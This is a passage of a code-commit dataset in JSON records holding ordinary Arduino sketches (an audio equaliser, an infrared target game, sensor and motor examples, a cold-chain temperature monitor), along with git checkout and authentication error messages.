button.waitTillHigh(); \/\/\u8ba9\u6309\u94ae\u9501\u6b7b\u7a0b\u5e8f,\u76f4\u5230\u6309\u94ae\u6309\u4e0b\u4f7f\u5f97\u6309\u94ae\u6240\u5728\u9488\u811a\u53d8\u4e3a\u9ad8\u7535\u5e73\r\n\r\n button.waitTillLow(); \/\/\u8ba9\u6309\u94ae\u9501\u6b7b\u7a0b\u5e8f,\u76f4\u5230\u677e\u5f00\u6309\u94ae\u4f7f\u5f97\u6309\u94ae\u6240\u5728\u9488\u811a\u53d8\u4e3a\u4f4e\u7535\u5e73\r\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'example\/example-1\/example-1.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"9fd177e0bb8d0f66032e52608b3d2d4332f41b88","subject":"Example for 2 MSGEQ7 graphic equilizer .ino file","message":"Example for 2 MSGEQ7 graphic equilizer .ino file","repos":"ruralguru\/ERW_MSGEQ7","old_file":"examples\/ERW_MSGEQ7_Stereo_example\/ERW_MSGEQ7_Stereo_example.ino","new_file":"examples\/ERW_MSGEQ7_Stereo_example\/ERW_MSGEQ7_Stereo_example.ino","new_contents":"\/*Editor: Earl R. Watkins II Title: ERW_MSGEQ7_example Date: 11\/04\/2015\n * Datasheet: http:\/\/www.mix-sig.com\/images\/datasheets\/MSGEQ7.pdf\n * Use to hook up pins properly, Also contains a recomended circuit.\n * 7 Bands: 63Hz, 160Hz, 400Hz, 1kHz, 2.5kHz, 6.25kHz, and 16kHz\n * notes: TIP=Left, Ring = Right, Sleeve = GND.\n * This example requires 2 MSGEQ7 ICs.\n * leftRead = Tip= Analog Input\n * rightRead = Ring = Analog Input\n * Strobe = Digital Output\n * Reset = Digital Output\n *\/\n\/\/Libraries\n#include <ERW_MSGEQ7.h> \/\/ Add Earl's MSGEQ7 library.\n\/\/Definitions\n#define leftRead A0 \/\/ Define analog pin to read from left MSGEQ7.\n#define rightRead A1 \/\/ Define analog pin to read from right MSGEQ7.\n#define Strobe 3 \/\/ Define output pin to strobe MSGEQ7 for Frequencies.\n#define Reset 2 \/\/ Define output pin to reset MSGEQ7 to read \nint leftAmplitudes[7]; \/\/The Library modifies an left channel array.\nint rightAmplitudes[7]; \/\/ The Library modifies the right channel array.\nconst unsigned long timeStep = 1000; \/\/ 1000ms is 1 second. This controls the sample rate. \nunsigned long Timer; \/\/ Timer to do math instead of delay\n\/\/Objects\nERW_MSGEQ7 VU; \/\/ Rename object\n\nvoid setup() \/\/ Setup -------------------------------------------------------------\n{\n Serial.begin(9600); \/\/Begin Serial interface\n VU.begin(leftRead, rightRead, Strobe, Reset); \/\/Begin graphic equilizer for stereo.\n \/\/Requires 2 analog read pins and 2 digital write pins.\n Serial.println(\"MSGEQ7 started\"); \/\/User info.\n Serial.print(\"Left: \"); \/\/ Print Channel indicator.\n Serial.println(\"\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tRight: \"); \/\/ Print Channel indicator. \n Timer=millis(); \/\/ Start timer.\n}\n\nvoid loop() \/\/ Pete & repete ------------------------------------------------------\n{\n if(millis()-Timer>=timeStep)\n {\n VU.getAmplitudes(leftAmplitudes, rightAmplitudes); \/\/ Gets amplitudes of stereo.\n \/\/ Must pass the name of two arrays. \n \/\/ One left and one right.\n for(int i=0; i<7; i++) \/\/ Loop through all values of array.\n {\n printHz(i); \/\/ Print the Frequency of the value.\n Serial.print(leftAmplitudes[i]); \/\/ Print value(0-1023).\n }\n for(int i=6; i>=0; i--) \/\/ Loop through all values of array.\n {\n printHz(i); \/\/ Print the Frequency of the value.\n Serial.print(rightAmplitudes[i]); \/\/ Print value(0-1023).\n }\n Serial.println(); \/\/ New Line.\n Timer+=timeStep; \/\/ Update timer.\n }\n}\n\nvoid printHz(int sw) \/\/ Print the Frequency of the value.\n{\n \/\/7 Bands: 63Hz, 160Hz, 400Hz, 1kHz, 2.5kHz, 6.25kHz, and 16kHz\n switch (sw) \n {\n case 1:\n Serial.print(\"\\t160Hz: \"); \/\/Print the current frequency\n break;\n case 2:\n Serial.print(\"\\t400Hz: \"); \/\/Print the current frequency\n break;\n case 3:\n Serial.print(\"\\t1kHz: \"); \/\/Print the current frequency\n break;\n case 4:\n Serial.print(\"\\t2.5kHz: \"); \/\/Print the current frequency\n break;\n case 5:\n Serial.print(\"\\t6.25kHz: \"); \/\/Print the current frequency\n break;\n case 6:\n Serial.print(\"\\t16kHz: \"); \/\/Print the current frequency\n break;\n default: \n Serial.print(\"63Hz: \"); \/\/Print the current frequency\n break;\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/ERW_MSGEQ7_Stereo_example\/ERW_MSGEQ7_Stereo_example.ino' did not match any file(s) known to git\n","license":"cc0-1.0","lang":"Arduino"} {"commit":"68eb8f1ed2d649e95c71c52fa1c7cf8862dac0c0","subject":"added destination signaling","message":"added destination signaling\n","repos":"bojdell\/lodestar,bojdell\/lodestar,bojdell\/lodestar","old_file":"Microcontroller Code\/libraries\/my_lib\/examples\/base_uno_w_lib_v2\/base_uno_w_lib_v2.ino","new_file":"Microcontroller Code\/libraries\/my_lib\/examples\/base_uno_w_lib_v2\/base_uno_w_lib_v2.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Microcontroller' did not match any file(s) known to git\nerror: pathspec 'Code\/libraries\/my_lib\/examples\/base_uno_w_lib_v2\/base_uno_w_lib_v2.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"3ebe412771500ff8785ddb7907fb4d5958eb225b","subject":"Added files via upload","message":"Added files via upload","repos":"kolsan\/StarWarsCarnival","old_file":"004TargetUpMiddle\/DianaParteSuperior.ino","new_file":"004TargetUpMiddle\/DianaParteSuperior.ino","new_contents":"\n\/\/Comunicacion i2c\n\/\/1-manager\n\/\/2 diana inferior izqda 3 diana inferior central 4 diana inferior dcha\n\/\/5 diana superior medio 6 diana superior alta\n\n\n\/\/ Receptor - Seria la diana de la feria\n#include <IRremote.h>\n#include <Servo.h>\n#include <Wire.h>\n\nconst int ledPin = 13;\nint RECV_PIN = 11;\nServo myservo;\nint pos = 15;\nboolean Playing;\nIRrecv irrecv(RECV_PIN);\nchar MessageReceived;\nunsigned long timer = millis();\nunsigned long time_between_target = 7;\nint randNumber = 0;\nint UpDegrees = 160; \/\/Grados a los que la diana esta vertical\nint Shoots = 0; \/\/Guardaremos el numero de diana y en funci\u00f3n de ella modificaremos la dificultad\nboolean TargetUp;\n\nint DownDegrees = 15; \/\/Grados a los que la diana esta vertical\nint ShootAvailableDegrees = 82; \/\/Grados a los que la diana esperar\u00e1 el tiro.\nboolean DirectionRightToLeft = true;\nString texto;\ndecode_results results;\n\nvoid setup()\n{\n Serial.begin(9600);\n irrecv.enableIRIn(); \/\/ Start the receiver\n myservo.attach(9);\n \/\/Serial.println (\"Comenzamos...\");\n myservo.write(DownDegrees);\n delay(15);\n Playing = false;\n pinMode(ledPin, OUTPUT);\n Wire.begin(5); \/\/ join i2c bus with address #2\n Wire.onReceive(receiveEvent); \/\/ register event\n \/\/Serial.println (millis());\u00e7\n \/\/Manager.begin(9600);\n Playing = false;\n \/\/TargetUp = true;\n\n}\n\nvoid (* resetFunc) (void) = 0;\n\n\nvoid loop() {\n\n\n\n if (Playing)\n {\n\n if ((timer < millis()) && (!TargetUp))\n { \/\/levantamos la diana transcurrido un tiempo aleatorio desde el ultimo blanco\n Wire.beginTransmission(1); \/\/ transmit to device #1\n Wire.write(\"go004\"); \/\/ sends one byte\n Wire.endTransmission(); \/\/ stop transmitting\n if (DirectionRightToLeft)\n { \/\/Serial.println (\"pos1\");\n for (pos = DownDegrees; pos <= ShootAvailableDegrees; pos += 1) \/\/ goes from 0 degrees to 180 degrees\n { \/\/ in steps of 1 degree\n myservo.write(pos); \/\/ tell servo to go to position in variable 'pos'\n delay(5); \/\/ waits 5ms for the servo to reach the position\n }\n }\n else\n {\n for (pos = UpDegrees; pos >= ShootAvailableDegrees; pos -= 1)\n {\n myservo.write(pos);\n delay(5);\n }\n }\n TargetUp = true;\n \/\/Serial.println (pos);\n \/\/bajaremos la diana en 1-5 segundos depende de la dificultad\n\n switch (Shoots) {\n case 2:\n time_between_target = 5;\n \/\/Serial.println (time_between_target);\n break;\n case 3:\n time_between_target = 4;\n \/\/Serial.println (time_between_target);\n break;\n\n case 5:\n time_between_target = 3;\n \/\/Serial.println (time_between_target);\n break;\n\n case 7:\n time_between_target = 1;\n \/\/Serial.println (time_between_target);\n break;\n }\n }\n\n if (timer + (time_between_target * 1000) < millis() && TargetUp) \/\/Si ha pasado el tiempo marcado desde el ultimo tiro, la nave continua\n {\n \/\/ Serial.println (timer);\n \/\/ Serial.println (time_between_target * 1000);\n \/\/ Serial.println (timer + (time_between_target * 1000) );\n \/\/ Serial.println (millis());\n \/\/ Serial.println (\"Aqui2\");\n Wire.beginTransmission(1); \/\/ transmit to device #1\n Wire.write(\"nok004\"); \/\/ sends one byte\n Wire.endTransmission(); \/\/ stop transmitting\n if (DirectionRightToLeft)\n { \/\/Serial.println (\"pos2\");\n for (pos = ShootAvailableDegrees; pos <= UpDegrees; pos += 1)\n {\n myservo.write(pos);\n delay(5);\n }\n }\n else\n {\n for (pos = ShootAvailableDegrees ; pos >= DownDegrees; pos -= 1)\n {\n myservo.write(pos);\n delay(5);\n }\n }\n DirectionRightToLeft = !DirectionRightToLeft;\n TargetUp = false;\n randNumber = random(2, time_between_target);\n \/\/Serial.println (randNumber);\n timer = randNumber * 1000 + millis();\n randomSeed(analogRead(0));\n\n \/\/ Serial.println (timer);\n \/\/ Serial.println (millis());\n \/\/ Serial.println (\"Aqui3\");\n irrecv.resume(); \/\/ Receive the next value\n }\n\n\n \/\/delay (200);\n if (irrecv.decode(&results) && TargetUp) {\n \/\/Serial.println(results.value, DEC);\n irrecv.resume(); \/\/ Receive the next value\n \/\/Serial.print (millis());\n if (results.value == 2704) \/\/valor que dispara el emisor de infrarrojos (apagado de tele sony)\n {\n Serial.print (\"Blanco: \");\n \/\/Serial.print (millis());\n \/\/Manager.listen();\n Wire.beginTransmission(1); \/\/ transmit to device #1\n Wire.write(\"ok004\"); \/\/ sends one byte\n Wire.endTransmission(); \/\/ stop transmitting\n\n Shoots = Shoots + 1;\n randNumber = random(2, time_between_target);\n \/\/Serial.println (randNumber);\n timer = randNumber * 1000 + millis();\n randomSeed(analogRead(0));\n \/\/Serial.println (timer);\n \/\/Serial.println (millis());\n if (DirectionRightToLeft)\n {\n \/\/Serial.println (\"Aqui 1\");\n myservo.write(ShootAvailableDegrees - 20);\n delay(1500);\n for (pos = ShootAvailableDegrees - 10 ; pos >= DownDegrees; pos -= 1)\n {\n myservo.write(pos);\n delay(2);\n \/\/Serial.println (\"Aqui 2\");\n }\n }\n else\n { \/\/Serial.println (\"Aqui 3\");\n myservo.write(ShootAvailableDegrees + 20);\n delay(1500);\n for (pos = ShootAvailableDegrees + 10; pos <= UpDegrees; pos += 1)\n {\n myservo.write(pos);\n delay(2);\n \/\/Serial.println (\"Aqui 4\");\n }\n }\n delay (500);\n TargetUp = false;\n irrecv.resume();\n \/\/Serial.println (pos);\n \/\/delay(300);\n }\n }\n\n }\n\n\n}\n\n\/\/ function that executes whenever data is received from master\n\/\/ this function is registered as an event, see setup()\nvoid receiveEvent(int howMany) {\n while ( Wire.available()) { \/\/ loop through all but the last\n char c = Wire.read(); \/\/ receive byte as a character\n texto = texto + c;\n Serial.print(c); \/\/ print the character\n }\n\n if (texto == \"rst\")\n {\n resetFunc();\n }\n if (texto == \"go\")\n {\n Playing = true;\n Serial.println (\"Comienza la partida!!\");\n \/\/ randomSeed(analogRead(0));\n \/\/ for (pos = 0; pos <= UpDegrees; pos += 1) \/\/ goes from 0 degrees to 180 degrees\n \/\/ { \/\/ in steps of 1 degree\n \/\/ myservo.write(pos); \/\/ tell servo to go to position in variable 'pos'\n \/\/ delay(5); \/\/ waits 15ms for the servo to reach the position\n \/\/ time_between_target = 7;\n \/\/ Shoots = 0;\n \/\/\n \/\/\n \/\/ }\n digitalWrite(ledPin, HIGH);\n TargetUp = false;\n timer = millis();\n DirectionRightToLeft = true;\n myservo.write(DownDegrees); \/\/ tell servo to go to position in variable 'pos'\n delay(300); \/\/ waits 5ms for the servo to reach the position\n }\n if (texto == \"end\")\n {\n Playing = false;\n Serial.println (\"Fin de la partida!!\");\n \/\/ for (pos = UpDegrees; pos >= 0; pos -= 1) \/\/ goes from 180 degrees to 0 degrees\n \/\/ {\n myservo.write(DownDegrees); \/\/ tell servo to go to position in variable 'pos'\n delay(300); \/\/ waits 5ms for the servo to reach the position\n \/\/ }\n TargetUp = false;\n Shoots = 0;\n time_between_target = 7;\n digitalWrite(ledPin, LOW);\n\n }\n if (texto == \"gup\")\n {\n\n myservo.write(UpDegrees);\n }\n if (texto == \"gdo\")\n {\n\n myservo.write(DownDegrees);\n }\n if (texto == \"gme\")\n {\n\n myservo.write(ShootAvailableDegrees);\n }\n texto = \"\";\n\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec '004TargetUpMiddle\/DianaParteSuperior.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"14b60800b8ff1e1e77a0fb7c69ff1e400ebf2935","subject":"ok, let's start to move twice as far \u2026","message":"ok, let's start to move twice as far \u2026\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"ShadowTest\/ShadowTest.ino","new_file":"ShadowTest\/ShadowTest.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"6e7d14486fd3434f8cc9c643a38c2c56b8e973b3","subject":"[chg] projeto de led blink do proprio arduino","message":"[chg] projeto de led blink do proprio arduino\n","repos":"kaiocesar\/karduino","old_file":"prj1.ino","new_file":"prj1.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/kaiocesar\/karduino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"888def779260ca90eda507b52f5dc8c01a3b4f4b","subject":"this should set all those nifty set positions a bit better","message":"this should set all those nifty set positions a bit better\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"ArduinoClient\/TMC4361.ino","new_file":"ArduinoClient\/TMC4361.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"273ab37c224012c04b0837d4eb32269ca1d7f488","subject":"particle code","message":"particle code\n","repos":"joannetruong\/PickyHome,joannetruong\/PickyHome","old_file":"temp.ino","new_file":"temp.ino","new_contents":"\/\/ This #include statement was automatically added by the Particle IDE.\n#include <HttpClient.h>\n\n\/\/ This #include statement was automatically added by the Particle IDE.\n#include \"application.h\"\n#include <HttpClient.h>\n\nint tempPin = A0;\nunsigned int nextTime = 0; \/\/ Next time to contact the server\nchar publishString[60];\nint led1 = D0;\nint led2 = D7;\n\nHttpClient http;\nhttp_request_t request;\nhttp_response_t response;\n\n\/\/ Headers currently need to be set at init, useful for API keys etc.\nhttp_header_t headers[] = {\n { \"Content-Type\", \"application\/json\" },\n \/\/ { \"Accept\" , \"application\/json\" },\n \/\/ { \"Accept\" , \"*\/*\"},\n { \"Accept\" , \"*\/*\"},\n { \"User-agent\", \"Particle HttpClient\"},\n { NULL, NULL } \/\/ NOTE: Always terminate headers will NULL\n};\n\nvoid setup() {\n Serial.begin(9600);\n request.hostname = \"picky-home.herokuapp.com\";\n request.port = 80;\n request.path = \"\/readings\";\n pinMode(led1, OUTPUT);\n pinMode(led2, OUTPUT);\n Particle.function(\"led\",ledToggle);\n\n digitalWrite(led1, LOW);\n}\n\nunsigned long lasttime;\nint mesPow,mesPow2;\n\nvoid loop() {\n static unsigned long tracktime;\n static unsigned long tracktime2;\n if(millis()>tracktime) {\n tracktime = millis()+2000;\n routine();\n }\n if(digitalRead(D1)==LOW) {\n unsigned long thistime = millis();\n if(thistime-lasttime>100) { \/\/ Start of the sequence\n mesPow = 0;\n unsigned long tracktime3 = millis();\n int increment = 45; \/\/ first slice\n while(millis()<tracktime3+7*80+30) { \/\/ sequence length\n if(millis()>tracktime) {\n tracktime = millis()+2000;\n routine();\n }\n if(millis()>tracktime3+increment) {\n increment+=80;\n bool val = digitalRead(D1);\n mesPow |= val<<increment\/80;\n }\n }\n mesPow2 = mesPow;\n Serial.println(mesPow2);\n }\n lasttime = thistime;\n }\n}\n\nvoid routine() {\n int tempReading = analogRead(tempPin);\n float tempVolts = tempReading * 3.3 \/ 4095.0;\n float tempC = (tempVolts - 0.5) * 100.0;\n float tempF = tempC * 9.0 \/ 5.0 + 32.0;\n sprintf(publishString, \"{\\\"temp\\\":%f, \\\"energy\\\":%f}\", tempF, tempF);\n request.body = publishString;\n http.post(request, response, headers);\n\/\/ Serial.println(response.status);\n\/\/ Serial.println(request.body);\n}\n\nint ledToggle(String command) {\n \n if (command==\"on\") {\n tone(led1,37900);\n delay(200);\n noTone(led1);\n delay(200);\n tone(led1,37900,20);\n digitalWrite(led2,HIGH);\n return 1;\n }\n else if (command==\"off\") {\n tone(led1,37900);\n delay(20);\n noTone(led1);\n delay(40);\n tone(led1,37900,20);\n digitalWrite(led2,LOW);\n return 0;\n }\n else {\n return -1;\n }\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'temp.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"8ae81f0be4dd09fbd1d10689f990ccb0f352f51b","subject":"this is probably the final iteration","message":"this is probably the final iteration\n","repos":"rosalindfdt\/huzzahbadge,rosalindfdt\/huzzahbadge,rosalindfdt\/huzzahbadge,rosalindfdt\/huzzahbadge","old_file":"pronoun_badge.ino","new_file":"pronoun_badge.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/rosalindfdt\/huzzahbadge.git\/'\n","license":"artistic-2.0","lang":"Arduino"} {"commit":"eb7039b2394601b679e135504b3262cc7a025e3e","subject":"Added example of stetting a single bit in a defined byte to 0 or 1","message":"Added example of stetting a single bit in a defined byte to 0 or 1\n","repos":"Protoneer\/SIPO","old_file":"Testing\/MCP23017\/Change1BitInAByteValue\/Change1BitInAByteValue.ino","new_file":"Testing\/MCP23017\/Change1BitInAByteValue\/Change1BitInAByteValue.ino","new_contents":"\/\/ Used to set each bit with a bitwise or\nunsigned char hex[8]= {0x01 ,0x02 ,0x04 ,0x08 ,0x10 ,0x20 ,0x40 ,0x80};\n\n#include \"Wire.h\"\nvoid setup()\n{\n Wire.begin(); \/\/ wake up I2C bus\n SetPortA2Outputs();\n}\n\nvoid loop()\n{\n byte sendByte = B11111111;\n SetPinsOnPortA(SetBitInByte(sendByte,0,0));\n delay(1000);\n SetPinsOnPortA(sendByte);\n delay(1000);\n}\n\nvoid SetPortA2Outputs()\n{\n Wire.beginTransmission(0x20);\n Wire.write(0x00); \/\/ IODIRA register\n Wire.write(0x00); \/\/ set all of port A to outputs\n Wire.endTransmission();\n}\n\nvoid SetPinsOnPortA(int a)\n{\n Wire.beginTransmission(0x20);\n Wire.write(0x12); \/\/ GPIOA\n Wire.write(a); \/\/ port A\n Wire.endTransmission();\n}\n\nbyte SetBitInByte(byte inByte,int bitToSet, bool bitValue)\n{\n if(bitValue)\n {\n \/\/ Set the bit - or \n return inByte|hex[bitToSet];\n }\n else\n {\n \/\/ clear the bit - and (Alos need to invert hex for & to get the bit to be set. example 11111110 instead of 00000001)\n return inByte & InvertByte(hex[bitToSet]);\n } \n}\n\nbyte InvertByte(byte inByte)\n{\n return ~inByte;\n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Testing\/MCP23017\/Change1BitInAByteValue\/Change1BitInAByteValue.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"37995ef711de7e34051fd549756eb6b3aefd5283","subject":"Add message checksum, avoid interrupt races","message":"Add message checksum, avoid interrupt races\n","repos":"mvines\/futboard","old_file":"gen3\/gen3.ino","new_file":"gen3\/gen3.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/mvines\/futboard.git\/'\n","license":"unlicense","lang":"Arduino"} {"commit":"d4a3fe6a1dab391f56fa769f8f712cb0d5bded95","subject":"update","message":"update\n","repos":"sjhonatan\/arduino,sjhonatan\/arduino","old_file":"sketch_apr14a.ino","new_file":"sketch_apr14a.ino","new_contents":"#define trigger 9\n#define echo 10\n#define motor 4\n\nlong tempoTotal = 0;\nint distancia;\n\nfloat ultrassonic();\nvoid controlarMotor();\n\nvoid setup() {\n pinMode(trigger,OUTPUT);\n pinMode(echo,INPUT);\n pinMode(motor,OUTPUT);\n \n Serial.begin(9600);\n digitalWrite(trigger,LOW);\n digitalWrite(motor,LOW);\n}\n\nvoid loop() {\n distancia = ultrassonic();\n controlarMotor();\n Serial.println(distancia); \/\/ print as an ASCII-encoded decima\n delay(10);\n}\n\nfloat ultrassonic(){\n digitalWrite(trigger, HIGH);\n delayMicroseconds(10);\n digitalWrite(trigger, LOW);\n tempoTotal = pulseIn(echo,HIGH);\n distancia = tempoTotal*0.034\/2; \/\/ velocidade do som = 340m\/s \n return distancia; \n}\n\nvoid controlarMotor(){\n digitalWrite(motor,HIGH);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'sketch_apr14a.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"fcfe477b6de39f124ff4467791c9f7c2d4acab30","subject":"Create AM2321Example.ino","message":"Create AM2321Example.ino","repos":"edwios\/AM2321_old,edwios\/AM2321_old","old_file":"AM2321Example.ino","new_file":"AM2321Example.ino","new_contents":"\/**************************************************************** \n This is the Spark Core example of using the library of the\n AM2321 Humidity and Temperature sensor\n This sensor uses custom I2C communication and supports 2 wires\n and one wire configuration.\n \n This example assumed a 2 wires configuration. \n \n Written by Ed Wios.\n Oct 2014\n ***************************************************************\/\n \n#include \"AM2321.h\"\n\n#include \"application.h\"\n\nextern char* itoa(int a, char* buffer, unsigned char radix);\n\nAM2321 am2321;\n\nchar str[8];\n\nvoid setup()\n{\n am2321.begin();\n Serial.begin(BAUD);\n}\n\nvoid loop()\n{\n\tfloat temp, humi;\n\tunsigned int amID;\n\n\tamID = am2321.readID();\n\tdelay(2000);\n\ttemp = am2321.readTemperature();\n\tdelay(2000);\n\thumi = am2321.readHumidity();\n\n\tSerial.print(\"ID: \");\n\tSerial.print(amID);\n\tSerial.print(\", Temp: \");\n\tSerial.print(temp);\n\tSerial.print(\", Humi: \");\n\tSerial.println(humi);\n\tdelay(2000);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'AM2321Example.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"0861452ec4515ff2c074beb278f8b6b36997d25c","subject":"check list almost finish","message":"check list almost finish\n","repos":"lushl9301\/Yellow-SubArena","old_file":"exploration testing\/src\/main.ino","new_file":"exploration testing\/src\/main.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'exploration' did not match any file(s) known to git\nerror: pathspec 'testing\/src\/main.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"62e3d77e7cd2da870f87209cbec04de228b39945","subject":"sensor","message":"sensor\n","repos":"SevenStringArgs\/ColdChainSensors,SevenStringArgs\/ColdChainSensors,SevenStringArgs\/ColdChainSensors,SevenStringArgs\/ColdChainSensors","old_file":"sensor\/sensor.ino","new_file":"sensor\/sensor.ino","new_contents":"#include <SFE_BMP180.h>\n#include <Wire.h>\n\nunsigned long prevTime;\nint tickInterval = 1000 * 5;\nunsigned long currentTicks = 0;\nString reqId = \"\";\nint errorState = 0;\nbool high = false;\nbool conf = false;\n\nint redPin = A7;\nint yellowPin = A9;\nint greenPin = A10;\n\nint tempStatus = 1;\nint strike = 0;\n\n\/\/ BMP-180 variables\nSFE_BMP180 bmp;\ndouble pressureBaseline = 0;\ndouble temp = 0;\ndouble pressure = 0;\ndouble altitude = 0;\n\nString appName = \"PlantIT\";\n\nbool nextTick(){\n unsigned long currTime = millis();\n if ((currTime - prevTime) > tickInterval){\n prevTime = currTime;\n return true;\n }\n\n return false;\n}\n\nvoid changeStatus(int s){\n if (s == 2){\n analogWrite(greenPin, 0);\n analogWrite(yellowPin, 255);\n } else if (s == 3){\n analogWrite(yellowPin, 0);\n analogWrite(redPin,255);\n }\n}\n\nvoid resetSerial() {\n Serial1.end();\n Serial1.begin(9600);\n}\n\nvoid buildResponse(String &res) {\n res = res + \"#\";\n res = res + \"@\" + temp + \"$\";\n}\n\ndouble readBMP180Values()\n{\n char status;\n status = bmp.startTemperature();\n\n if (status != 0)\n {\n delay(status);\n status = bmp.getTemperature(temp);\n\n\n if (status != 0)\n {\n status = bmp.startPressure(3);\n\n if (status != 0)\n {\n delay(status);\n status = bmp.getPressure(pressure, temp);\n\n if (status != 0)\n {\n altitude = bmp.altitude(pressure, pressureBaseline + 5.6);\n return pressure;\n }\n else Serial1.println(\"error retrieving pressure measurement\\n\");\n }\n else Serial1.println(\"error starting pressure measurement\\n\");\n }\n else Serial1.println(\"error retrieving temperature measurement\\n\");\n }\n else Serial1.println(\"error starting temperature measurement\\n\");\n}\n\nvoid readValues() {\n readBMP180Values();\n}\n\nvoid setupBMP180() {\n if (!bmp.begin()) {\n Serial1.println(\"Error\");\n while (1);\n }\n\n pressureBaseline = readBMP180Values();\n}\n\nvoid setup() {\n Serial1.begin(9600);\n Serial.begin(19200);\n setupBMP180();\n pinMode(redPin, OUTPUT);\n pinMode(yellowPin, OUTPUT);\n pinMode(greenPin, OUTPUT);\n\n analogWrite(greenPin, 255);\n\n prevTime = millis();\n \n}\n\nvoid sendResponse(String &res) {\n Serial1.print(res);\n}\n\nvoid checkForOperation() {\n char operation = '0';\n\n if (Serial1.available()) {\n operation = char(Serial1.read());\n\n if (operation == 'd'){\n sendData();\n } else if (operation == 'n'){\n sendName();\n } else if (operation == 'c'){\n conf = true;\n } else if (conf){\n reqId = String(operation);\n }\n }\n}\n\nvoid sendName(){\n Serial1.print(\"#\" + appName + \"$\");\n}\n\nvoid sendData() {\n readValues();\n String res = String(\"\");\n buildResponse(res);\n Serial1.print(res);\n}\n\nvoid loop() {\n if (nextTick()){\n readValues();\n \/\/ Serial.println(\"next tick\");\n \/\/Serial.println(errorState);\n if (errorState != 3){\n errorState = checkRequirements();\n changeStatus(errorState);\n \/\/Serial.println(errorState);\n }\n }\n\n\n checkForOperation();\n}\n\n\/\/######################## Check values ##############################\n\nint above(double value, double threshold){\n if (value > threshold){\n return 3;\n } else if (value > threshold*0.9){\n return 2;\n } else {\n return 1;\n }\n}\n\nint isFreeze(double value){\n if (value < 0){\n return 3;\n } else if (value < 2) {\n return 2;\n } else {\n return 1;\n }\n}\n\nint combine(int state1, int state2){\n if (state1 == 3 || state2 == 3){\n return 3;\n } else if (state1 == 2 || state2 == 2){\n return 2;\n } else {\n return 1;\n }\n}\n\nint complexCheck(double d1, double d2){\n if (!high){\n int res = above(temp, 30);\n if (res == 3){\n high = true;\n return checkRequirements();\n }\n return combine(res, noMore(d1));\n }\n\n return combine(above(temp, 30), noMore(d2));\n}\n\nint noMore(int numberOfTicks){\n if (currentTicks > numberOfTicks){\n return 3;\n } else if (currentTicks > numberOfTicks * 0.9){\n return 2;\n } else {\n return 1;\n }\n}\n\nint checkRequirements(){\n if (reqId == \"A\"){\n return complexCheck(10, 7);\n } else if (reqId == \"B\"){\n return complexCheck(8, 6);\n } else if (reqId == \"C\"){\n return complexCheck(14,11);\n } else if (reqId == \"D\"){\n return above(temp, 34);\n } else if (reqId == \"E\"){\n return isFreeze(temp);\n } else if (reqId == \"F\"){\n return above(temp, 8);\n } else if (reqId == \"0\"){\n return above(temp, 8);\n } else if (reqId == \"25\"){\n return above(temp, 25);\n } else if (reqId == \"0F\"){\n return combine(above(temp,8), isFreeze(temp));\n } else if (reqId == \"AF\"){ \n return combine(complexCheck(3,2), isFreeze(temp));\n } else if (reqId == \"BF\"){\n return combine(complexCheck(8,6), isFreeze(temp));\n } else if (reqId == \"CF\"){\n return combine(complexCheck(14, 11), isFreeze(temp));\n } else {\n return 0;\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'sensor\/sensor.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} 